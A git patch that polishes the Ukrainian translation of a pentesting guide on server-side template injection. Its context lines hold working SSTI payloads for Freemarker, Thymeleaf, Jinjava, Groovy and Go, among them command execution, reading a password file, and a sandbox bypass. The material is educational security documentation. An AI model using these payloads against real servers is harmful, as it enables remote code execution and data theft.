From 1b019724fa6f2bf3ec4e2f52949b146bd144f96a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 12 Aug 2024 14:42:30 +0000 Subject: [PATCH] Translated ['pentesting-web/ssti-server-side-template-injection/README.m --- .../README.md | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index be2749191..552471995 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} Для виявлення ін'єкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають: -* Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів. +* Викинуті помилки, що виявляють вразливість і потенційно движок шаблонів. * Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані. * **Текстовий контекст**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`). * **Контекст коду**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username` для перевірки, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача. @@ -123,7 +123,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - обхід пісочниці** +**Freemarker - Обхід пісочниці** ⚠️ працює лише на версіях Freemarker нижче 2.3.30 ```java @@ -196,7 +196,7 @@ Thymeleaf також пропонує _попередню обробку вир ``` -Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду, що отримує доступ до URL-адрес, таких як: +Це вказує на те, що якщо движок шаблонів неправильно обробляє ці введення, це може призвести до віддаленого виконання коду з доступом до URL-адрес, таких як: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -326,7 +326,7 @@ Jinjava - це проект з відкритим кодом, розроблен * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String -* `{{request.getClass()}}` - клас com.hubspot.content.hubl.context.TemplateContextRequest +* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/). @@ -382,11 +382,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані бінари) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: +Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають: * **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері. -* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми. -* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бінарами, що забезпечує більш узгоджену структуру програми. +* **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними в JSP-сторінках, що полегшує зв'язок елементів сторінки з даними програми. +* **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми. Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**: @@ -396,7 +396,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc ### Groovy (Java) -Наступні обходи Security Manager були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +Наступні обходи менеджера безпеки були взяті з цього [**опису**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @@ -778,9 +778,9 @@ home = pugjs.render(injected_page) > Jinja2 - це повнофункціональний шаблонний движок для Python. Він має повну підтримку юнікоду, необов'язкове інтегроване середовище виконання в пісочниці, широко використовується та ліцензований за BSD. -* `{{7*7}} = Помилка` +* `{{7*7}} = Error` * `${7*7} = ${7*7}` -* `{{foobar}} Нічого` +* `{{foobar}} Nothing` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` @@ -892,7 +892,7 @@ ${x} ``` ### SSTI в GO -У шаблонному движку Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів: +У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних пейлоадів: * `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити. * `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti". @@ -900,7 +900,7 @@ ${x} **Експлуатація XSS** -З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення пейлоаду. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{""}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +З пакетом `text/template` XSS може бути простим шляхом вставки пейлоаду безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{""}}` призводить до `<script>alert(1)</script>`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} **Експлуатація RCE** @@ -915,7 +915,7 @@ return string(out) ``` **Більше інформації** -* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) +* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Більше експлойтів